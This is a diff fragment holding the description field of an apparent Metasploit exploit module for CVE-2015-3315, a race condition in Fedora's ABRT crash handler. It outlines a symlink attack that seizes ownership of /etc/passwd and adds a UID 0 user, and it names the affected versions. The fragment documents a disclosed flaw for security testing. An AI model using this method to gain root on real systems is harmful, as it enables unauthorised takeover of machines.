+      'Description'    => %q{
+        This module attempts to gain root privileges on Fedora systems with
+        a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
+        as the crash handler.
+
+        A race condition allows local users to change ownership of arbitrary
+        files (CVE-2015-3315). This module uses a symlink attack on
+        '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
+        then adds a new user with UID=0 GID=0 to gain root privileges.
+        Winning the race could take a few minutes.
+
+        This module has been tested successfully on ABRT packaged version
+        2.2.1-1.fc19 on Fedora 19 x86_64 and 2.2.2-2.fc20 on Fedora 20 x86_64.
+        Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
